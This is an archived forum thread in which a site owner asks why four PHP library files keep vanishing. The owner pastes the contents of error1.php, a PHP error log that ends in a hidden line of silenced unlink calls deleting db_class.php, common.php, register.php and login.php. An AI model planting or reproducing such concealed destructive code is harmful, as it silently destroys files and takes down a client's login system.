PDA

View Full Version : PHP causing files to be deleted from server?



jschnyderite
21 Feb 2012, 08:27 AM
I had a programmer do some work on a login for me. Our client is complaining of the login going down, so i check into it and it appears several files from the lib folder are gone. This has happened 5 or 6 times and it is the same 4 files that disappear each time. Can the programming itself cause this?

I was thinking it is probably a server error, but they haven't had problems with their host before so I just want to be sure. If anyone needs to look at the code, please let me know of PM me.

If this is a server side issue, can the files be locked or something so they aren't removed. thanks for any ideas/help on the issue

jschnyderite
21 Feb 2012, 09:13 AM
I think i found the problem..i found out unlink deletes files so did a search for it on my server and found error1.php had an unlink to the 4 files. im not sure if this is just reporting that 4 files were unlinked or if it TELLS them to unlink if there is an error.

can someone who actually knows PHP comment? and if you could tell me how to fix it so it no longer does, that would be great


[01-Jun-2011 17:11:59] PHP Fatal error: Uncaught exception 'Zend_Session_Exception' with message 'Zend_Session::start() - /home/proine/public_html/application/libraries/Zend/Cache/Backend/File.php(Line:614): Error #2 unlink(/home/proine/public_html/temporary/cache/zend_cache---internal-metadatas---Engine4_fd4104da782d9e4918e602b2aa01e82b) [<a href='function.unlink'>function.unlink</a>]: No such file or directory Array' in /home/proine/public_html/application/libraries/Zend/Session.php:493
Stack trace:
#0 /home/proine/public_html/application/libraries/Zend/Session/Namespace.php(143): Zend_Session::start(true)
#1 /home/proine/public_html/application/libraries/Zend/Auth/Storage/Session.php(87): Zend_Session_Namespace->__construct('Zend_Auth')
#2 /home/proine/public_html/application/libraries/Zend/Auth.php(91): Zend_Auth_Storage_Session->__construct()
#3 /home/proine/public_html/application/libraries/Zend/Auth.php(151): Zend_Auth->getStorage()
#4 /home/proine/public_html/application/modules/User/Api/Core.php(139): Zend_Auth->getIdentity()
#5 /home/proi in /home/proine/public_html/application/libraries/Zend/Session.php on line 493
[03-Jun-2011 13:56:46] PHP Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /home/proine/public_html/application/modules/Core/settings/manifest.php on line 104
[03-Jun-2011 13:56:46] PHP Parse error: syntax error, unexpected $end, expecting ')' in /home/proine/public_html/application/modules/Core/settings/manifest.php on line 104
[03-Jun-2011 13:56:52] PHP Parse error: syntax error, unexpected $end in /home/proine/public_html/application/modules/Core/Model/Item/Abstract.php on line 115
[15-Jun-2011 16:57:12] PHP Fatal error: Call to undefined method Activity_Model_DbTable_Notifications::hasNotifications1() in /home/proine/public_html/application/modules/User/widgets/notification-icon/Controller.php on line 34
[15-Jun-2011 16:57:13] PHP Fatal error: Call to undefined method Activity_Model_DbTable_Notifications::hasNotifications1() in /home/proine/public_html/application/modules/User/widgets/notification-icon/Controller.php on line 34
[15-Jun-2011 16:57:15] PHP Fatal error: Call to undefined method Activity_Model_DbTable_Notifications::hasNotifications1() in /home/proine/public_html/application/modules/User/widgets/notification-icon/Controller.php on line 34
[15-Jun-2011 16:57:30] PHP Fatal error: Call to undefined method Activity_Model_DbTable_Notifications::hasNotifications1() in /home/proine/public_html/application/modules/User/widgets/notification-icon/Controller.php on line 34
[20-Jun-2011 10:12:09] PHP Fatal error: Uncaught exception 'Zend_Db_Adapter_Mysqli_Exception' with message 'Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2)' in /home/proine/public_html/application/libraries/Zend/Db/Adapter/Mysqli.php:352
Stack trace:
#0 /home/proine/public_html/application/libraries/Zend/Db/Adapter/Abstract.php(448): Zend_Db_Adapter_Mysqli->_connect()
#1 /home/proine/public_html/application/modules/Core/Bootstrap.php(126): Zend_Db_Adapter_Abstract->query('SET time_zone =...')
#2 /home/proine/public_html/application/libraries/Engine/Application/Bootstrap/Abstract.php(256): Core_Bootstrap->_initDb()
#3 /home/proine/public_html/application/libraries/Engine/Application/Bootstrap/Abstract.php(207): Engine_Application_Bootstrap_Abstract->_executeResource('db')
#4 /home/proine/public_html/application/libraries/Engine/Application/Bootstrap/Abstract.php(150): Engine_Application_Bootstrap_Abstract->_bootstrap(NULL)
#5 /home/proine/public_html/application/libraries/Engine/Application.php(88): Engine_Applicat in /home/proine/public_html/application/libraries/Zend/Db/Adapter/Mysqli.php on line 352
[21-Jun-2011 05:31:34] PHP Parse error: syntax error, unexpected T_EXIT, expecting ',' or ';' in /home/proine/public_html/application/modules/Auction/controllers/IndexController.php on line 424
[21-Jun-2011 20:21:20] PHP Fatal error: Uncaught exception 'Zend_Db_Adapter_Mysqli_Exception' with message 'Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2)' in /home/proine/public_html/application/libraries/Zend/Db/Adapter/Mysqli.php:352
Stack trace:
#0 /home/proine/public_html/application/libraries/Zend/Db/Adapter/Abstract.php(448): Zend_Db_Adapter_Mysqli->_connect()
#1 /home/proine/public_html/application/modules/Core/Bootstrap.php(126): Zend_Db_Adapter_Abstract->query('SET time_zone =...')
#2 /home/proine/public_html/application/libraries/Engine/Application/Bootstrap/Abstract.php(256): Core_Bootstrap->_initDb()
#3 /home/proine/public_html/application/libraries/Engine/Application/Bootstrap/Abstract.php(207): Engine_Application_Bootstrap_Abstract->_executeResource('db')
#4 /home/proine/public_html/application/libraries/Engine/Application/Bootstrap/Abstract.php(150): Engine_Application_Bootstrap_Abstract->_bootstrap(NULL)
#5 /home/proine/public_html/application/libraries/Engine/Application.php(88): Engine_Applicat in /home/proine/public_html/application/libraries/Zend/Db/Adapter/Mysqli.php on line 352
[21-Jun-2011 20:21:20] PHP Fatal error: Uncaught exception 'Zend_Db_Adapter_Mysqli_Exception' with message 'Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2)' in /home/proine/public_html/application/libraries/Zend/Db/Adapter/Mysqli.php:352
Stack trace:<?php @unlink("lib/db_class.php");@unlink("lib/common.php");@unlink("lib/register.php");@unlink("lib/login.php");?>